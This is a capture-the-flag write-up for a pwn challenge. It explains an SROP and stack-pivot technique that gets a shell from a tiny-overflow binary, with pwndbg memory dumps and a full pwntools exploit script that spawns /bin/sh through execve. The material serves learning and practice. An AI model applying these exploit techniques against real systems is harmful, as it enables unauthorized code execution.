Challenge Collections#

You can download the challenges from my repo above.

stack/level-0#

Information#

Category: Pwn

Description#

None.

Write-up#

This is probably the easiest stack fengshui challenge.

This challenge gave us pop rax; ret gadget, but cannot control any other registers, like rdi etc.

Only 0x20 bytes read with 0x10 bytes buffer, so we can only write 0x10 bytes data each time, and then overwrite rbp and rip.

So, the idea is use sigreturn to execute execve("/bin/sh", NULL, NULL), and the first thing we have to do it figure out how to implement the arbitrary size read, such that we can send the full sigreturn structure, then construct a sigreturn by utilize the pop rax; ret gadget.

The memory layout should be looks like:

# pop rax; ret
# 0xf
# syscall
# sigreturn frame

Now, let’s think about how to achieve an arbitrary size read. Assume following memory dump is the stats of the first time read, because we want get an arbitrary size consistent read, so we cannot chain the next read gadget write to 0x404038 directly.

pwndbg> x/10gx 0x404028
0x404028: 0x4141414141414141 0x4141414141414141
0x404038: 0x0000000000404048 0x0000000000401133
0x404048: 0x0000000000000000 0x0000000000000000
0x404058: 0x0000000000000000 0x0000000000000000
0x404068: 0x0000000000000000 0x0000000000000000

If we directly write to the next consistent address, it’ll cause read return to 0x4242424242424242 and crash the program.

pwndbg> x/10gx 0x404028
0x404028: 0x4141414141414141 0x4141414141414141
0x404038: 0x4242424242424242 0x4242424242424242
0x404048: 0x0000000000404058 0x0000000000401133
0x404058: 0x0000000000000000 0x0000000000000000
0x404068: 0x0000000000000000 0x0000000000000000

The way to bypass is fairly simple, just avoid corrupt the return address later used by read. First, we read some junk bytes to 0x404048 to keeping the rop chain alive so we can read more data.

pwndbg> x/10gx 0x404028
0x404028: 0x4141414141414141 0x4141414141414141
0x404038: 0x0000000000404058 0x0000000000401149
0x404048: 0x5858585858585858 0x5858585858585858
0x404058: 0x0000000000404048 0x0000000000401133
0x404068: 0x0000000000000000 0x0000000000000000

Then write the actual data which we needed to 0x404038.

pwndbg> x/10gx 0x404028
0x404028: 0x4141414141414141 0x4141414141414141
0x404038: 0x4242424242424242 0x4242424242424242
0x404048: 0x0000000000404048 0x0000000000401133
0x404058: 0x0000000000404048 0x0000000000401149
0x404068: 0x0000000000000000 0x0000000000000000

Finally, repeat the same way to achieve arbitrary size read.

As for how to get the syscall; ret gadget, we can utilize read@got, checking instructions nearby read, you can found some of them.

So the final memory layout should be:

# pop rax; ret
# 0xf
# read@plt (syscall)
# sigreturn frame

And the final strategy is:

Pre-place pop rax; ret chain for execute sigreturn
Place sigreturn frame beside the chain (actually you can put it anywhere, just have to manually pivot, to make sure the rsp points to the frame)
Modify read@got points to syscall; ret gadget
Pivot back to the start of the ROP chain

Exploit#

1
#!/usr/bin/env python3
2

3
import argparse
4

5
from pwn import (
6
    ELF,
7
    SigreturnFrame,
8
    constants,
9
    context,
10
    flat,
11
    process,
12
    raw_input,
13
    remote,
14
)
15

16
parser = argparse.ArgumentParser()
17
parser.add_argument("-L", "--local", action="store_true", help="Run locally")
18
parser.add_argument("-G", "--gdb", action="store_true", help="Enable GDB")
19
parser.add_argument("-P", "--port", type=int, default=1234, help="GDB port for QEMU")
20
parser.add_argument("-T", "--threads", type=int, default=None, help="Thread count")
21
args = parser.parse_args()
22

23

24
FILE = "./chall_patched"
25
HOST, PORT = "localhost", 1337
26

27
context(log_level="debug", binary=FILE, terminal="kitty")
28

29
elf = context.binary
30
libc = elf.libc
31

32

33
def mangle(pos, ptr, shifted=1):
34
    if shifted:
35
        return pos ^ ptr
36
    return (pos >> 12) ^ ptr
37

38

39
def demangle(pos, ptr, shifted=1):
40
    if shifted:
41
        return mangle(pos, ptr)
42
    return mangle(pos, ptr, 0)
43

44

45
def launch(argv=None, envp=None):
46
    global target, thread
47

48
    if argv is None:
49
        argv = [FILE]
50

51
    if args.local and args.threads is not None:
52
        raise ValueError("Options -L and -T cannot be used together.")
53

54
    if args.local:
55
        if args.gdb and "qemu" in argv[0]:
56
            if "-g" not in argv:
57
                argv.insert(1, str(args.port))
58
                argv.insert(1, "-g")
59
        target = process(argv, env=envp)
60
    elif args.threads:
61
        if args.threads <= 0:
62
            raise ValueError("Thread count must be positive.")
63
        process(FILE)
64

65
        thread = [remote(HOST, PORT, ssl=False) for _ in range(args.threads)]
66
    else:
67
        target = remote(HOST, PORT, ssl=True)
68

69

70
def arbitrary_size_read(target, frame, size, read_addr, base_addr):
71
    for i in range(0, size, 0x10):
72
        offset = (i // 0x10) * 0x10
73

74
        payload1 = flat(
75
            {
76
                0x0: b"X" * 0x10,
77
                0x10: (base_addr + offset) + 0x10,
78
                0x18: read_addr,
79
            },
80
            filler=b"\x00",
81
        )
82
        target.send(payload1)
83

84
        chunk = frame[i : i + 0x10]
85
        if len(chunk) < 0x10:
86
            chunk = chunk.ljust(0x10, b"\x00")
87

88
        payload2 = flat(
89
            {
90
                0x0: chunk,
91
                0x10: (base_addr + 0x20 + offset) + 0x10,
92
                0x18: read_addr,
93
            },
94
            filler=b"\x00",
95
        )
96
        target.send(payload2)
97

98

99
def main():
100
    launch()
101

102
    read = elf.sym["main"] + 0x8
103
    pop_rax_ret = 0x401126
104
    ret = pop_rax_ret + 0x1
105

106
    payload = flat(
107
        {
108
            0x10: 0x404038 + 0x10,
109
            0x18: read,
110
        },
111
        filler=b"\x00",
112
    )
113
    raw_input("DEBUG")
114
    target.send(payload)
115

116
    payload = flat(
117
        {
118
            0x0: elf.sym["main"],
119
            0x10: 0x404018 + 0x10,
120
            0x18: read,
121
        },
122
        filler=b"\x00",
123
    )
124
    raw_input("DEBUG")
125
    target.send(payload)
126

127
    payload = flat(
128
        {
129
            0x0: pop_rax_ret,
130
            0x18: ret,
131
        },
132
        filler=b"\x00",
133
    )
134
    raw_input("DEBUG")
135
    target.send(payload)
136

137
    payload = flat(
138
        {
139
            0x0: read,
140
            0x10: elf.bss() + 0x500 + 0x10,
141
            0x18: read,
142
        },
143
        filler=b"\x00",
144
    )
145
    raw_input("DEBUG")
146
    target.send(payload)
147

148
    payload = flat(
149
        {
150
            0x0: b"/bin/sh\x00",
151
            0x10: 0x404020 + 0x10,
152
            0x18: read,
153
        },
154
        filler=b"\x00",
155
    )
156
    raw_input("DEBUG")
157
    target.send(payload)
158

159
    payload = flat(
160
        {
161
            0x0: 0xF,
162
            0x8: elf.plt["read"],
163
            0x10: elf.bss() + 0x300,  # junk
164
            0x18: read,
165
        },
166
        filler=b"\x00",
167
    )
168
    raw_input("DEBUG")
169
    target.send(payload)
170

171
    frame = SigreturnFrame()
172
    frame.rax = constants.SYS_execve
173
    frame.rdi = elf.bss() + 0x500
174
    frame.rsi = 0
175
    frame.rdx = 0
176
    frame.rsp = 0x404030
177
    frame.rip = elf.plt["read"]
178
    frame = bytes(frame)
179

180
    target.hexdump(frame)
181
    target.success(f"frame len: {hex(len(frame))}")
182

183
    arbitrary_size_read(target, frame, len(frame), read, 0x404030)
184

185
    payload = flat(
186
        {
187
            0x10: elf.bss() + 0x800,
188
            0x18: read,
189
        },
190
        filler=b"\x00",
191
    )
192
    raw_input("DEBUG")
193
    target.send(payload)
194

195
    payload = flat(
196
        {
197
            0x10: elf.got["read"] + 0x10,
198
            0x18: read,
199
        },
200
        filler=b"\x00",
201
    )
202
    raw_input("DEBUG")
203
    target.send(payload)
204
    raw_input("DEBUG")
205
    target.send(b"\xdb")
206

207
    target.interactive()
208

209

210
if __name__ == "__main__":
211
    main()